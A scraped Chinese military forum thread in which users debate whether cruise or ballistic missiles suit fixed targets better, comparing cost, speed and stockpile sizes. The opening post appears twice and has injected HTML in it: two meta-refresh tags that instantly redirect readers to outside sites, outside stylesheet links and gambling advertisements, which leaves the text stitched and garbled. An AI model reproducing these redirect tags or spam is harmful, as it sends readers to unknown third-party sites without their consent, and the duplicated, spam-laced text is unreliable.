打击固定目标，是用巡航导弹还是用弹道导弹，哪个比较合 ...

来源：百度文库编辑：超级军网时间：2024/04/29 10:00:30

二者的区别就是弹道导弹是在高处飞，巡航导弹是紧贴地面走，二者突防各有自己的高招。对于距离不是很遥远的目标，我手里既有巡航导弹，也有弹道导弹，用哪一个比较合适呢？
还有就是原来的美苏都把洲际弹道导弹作为核报复手段，那开发长射程的巡航导弹是不是也可以呢？巡航导弹的速度虽然慢，但是它是紧贴着地面飞的，并不容易被发现。
美国海湾战争和打南联盟都是用的巡航导弹，如果用中短程的弹道导弹，加上卫星末端制导什么的，是不是也可以收到巡航导弹那样的效果？<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
 
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />

 
 

6.合.彩!!足球!篮球...各类投注开户下注
 
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台 二者的区别就是弹道导弹是在高处飞，巡航导弹是紧贴地面走，二者突防各有自己的高招。对于距离不是很遥远的目标，我手里既有巡航导弹，也有弹道导弹，用哪一个比较合适呢？
还有就是原来的美苏都把洲际弹道导弹作为核报复手段，那开发长射程的巡航导弹是不是也可以呢？巡航导弹的速度虽然慢，但是它是紧贴着地面飞的，并不容易被发现。
美国海湾战争和打南联盟都是用的巡航导弹，如果用中短程的弹道导弹，加上卫星末端制导什么的，是不是也可以收到巡航导弹那样的效果？<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
 
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />

 
 

6.合.彩!!足球!篮球...各类投注开户下注
 
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台

巡航导弹打远距离的目标，得经过多少国家的领空啊。。。。。。。。。

像机场之类的目标用弹道导弹比较好吧?毕竟威力大一些

威力可以用数量凑够吧

如果目标不会跑而且精度都有把握, 应该是哪个便宜用哪个

弹道导弹实时性好~~~~~巡航导弹体积重量和价格更好~~

美国一个航母战斗群可以携带1000枚以上海基巡航弹，第一波攻击就能同时锁定、摧毁数百战术、战略目标。弹道导弹可以这样吗？注意，是海基移动发射，是带军事力量投送能力的，比如可以在台湾东侧发射。

长剑路基巡航弹第一次露面的时候军方已经有几百个了，弹道导弹可以吗？

军事力量要世界数一数二，储备10000万个左右陆基海基巡航弹比较合适。

巡航导弹也就1000~3000km内常规打击性价比和便携性有优势~~~~~射程再往上涨很艰难~~~~~~~~~

巡航导弹也就1000~3000km内常规打击性价比和便携性有优势~~~~~射程再往上涨很艰难~~~~~~~~~

X51A没成熟之前,弹道导弹和巡航导弹就是两种不同用途的武器!

好像MD在伊拉克常用战斧，而鹅毛入侵阿富汗时常用蜘蛛，这个咋比较呢....

shthug 发表于 2010-4-29 10:27

这个太夸张鸟

这个还是要具体情况具体分析，地形，防空，加固程度都要考虑。

我是来围观6楼的，是不是多打了个万字

1000枚肯定不够,应该存个几千枚,战前可以开生产线造,MD就是这么干的

弹道导弹速度快，拦截相对困难，但成本高，精度相对低
巡航导弹刚好相反
所以说，要看是什么目标了
要是防卫严密的军事目标，那还是弹道导弹效果好点
但要搞大规模的袭击，肯定是巡航导弹更好用

worker2006 发表于 2010-4-29 08:38

一个是明枪，一个是暗箭；
一个是北腿，一个是南拳；
一个是战略性的，一个是战术性的；
......
总之是各有不同，但巡航导弹打出后，战局也许还可控，但弹道导弹打出后，不论是长程短程还是洲际的，战局就会向失控发展了。

以现在的航空技术，搞一个洲际的巡航并不困难，问题是要做得出、做得起和养得起，而且一旦打出去，也是一个战略冲突，不可控。
而以现在的航天技术能力，一个洲际导弹打十来米的小目标也不是大问题，用GPS只是放屁前把裤子脱了而已，但明枪的风格没法改变，也许你的洲际导弹末级关机时人家的核反击就打出来了。

这个问题浪费时间。

回复 1# worker2006

而且，巡航本身就是打固定目标的。
你别以为巡航和很多反舰导弹同型号，但军舰的“动”，对于巡航来说，也就是一个死物。
你看有人敢拿巡航去打“动”的飞机吗？
所以，这个问题就是“噗”的一声而已。

太保守，太低調，太謙遜。10000個巡航彈嚇死了？不要怕。美國幾千個有吧？中國人口比美國多幾倍，這種戰術武器，幹嗎不能多幾倍？

算一發1000萬人民幣造價，1萬發儲備，才1000億人民幣，而且注意，是10年15年里組建這個儲備，一年才投幾十億到100億人民幣投入。軍費一年5000億，未來10年肯定翻倍吧？一年投個100億人民幣買巡航彈，嚇死了？

氣度要大點，目標要遠大點，說了很多次，搞海軍不是爲了打越南收南海，搞空軍不是爲了玩八一飛行表演，陸軍上百萬員額，不是爲了搞閱兵。搞國防的中期目標是和美國劃太平洋而切分東西半球。

windrarara 发表于 2010-4-29 19:06

就是這個概念。和平時期，6-8個航母編隊，編隊攜帶1000發巡航彈。岸上留幾千發後備，生產線產能我覺得全開的時候一個月3000發比較合適。

shthug 发表于 2010-4-29 23:33

人家说的是10000万发，也就是一亿发巡航导弹...

看需要了.
需要快速的压制,精度10-50米级别的时候BM好用.
对时间要求不紧迫,但是要求高精度外科手术的时候,自然还是巡航弹.

这要看作战对象，没有拦截手段的用巡航，精确度高，成本低廉

要考虑下载具及其带来的布署方面的问题...

打击固定目标，是用巡航导弹还是用弹道导弹，哪个比较合 ... 是巡航导弹还是火箭炮？睡前发一贴，将来的舰载固定翼预警机是用现有平台还是开 ... 用精确制导弹道导弹打击航母编队！日本有没有自己的弹道导弹，精确打击巡航导弹？ [视频]美国海军试射战斧巡航导弹打击移动目标俄罗斯里海舰队发射新型巡航导弹打击叙利亚境内目标超大首发！长剑10巡航导弹精准打击目标视频俄潜艇发射巡航导弹打击叙利亚境内“伊斯兰国”目标视频：俄罗斯首次用潜射巡航导弹打击叙反对派地面目标能否用空空导弹打击地面目标？制导火箭弹这个东西，算是弹道导弹呢还是巡航导弹呢？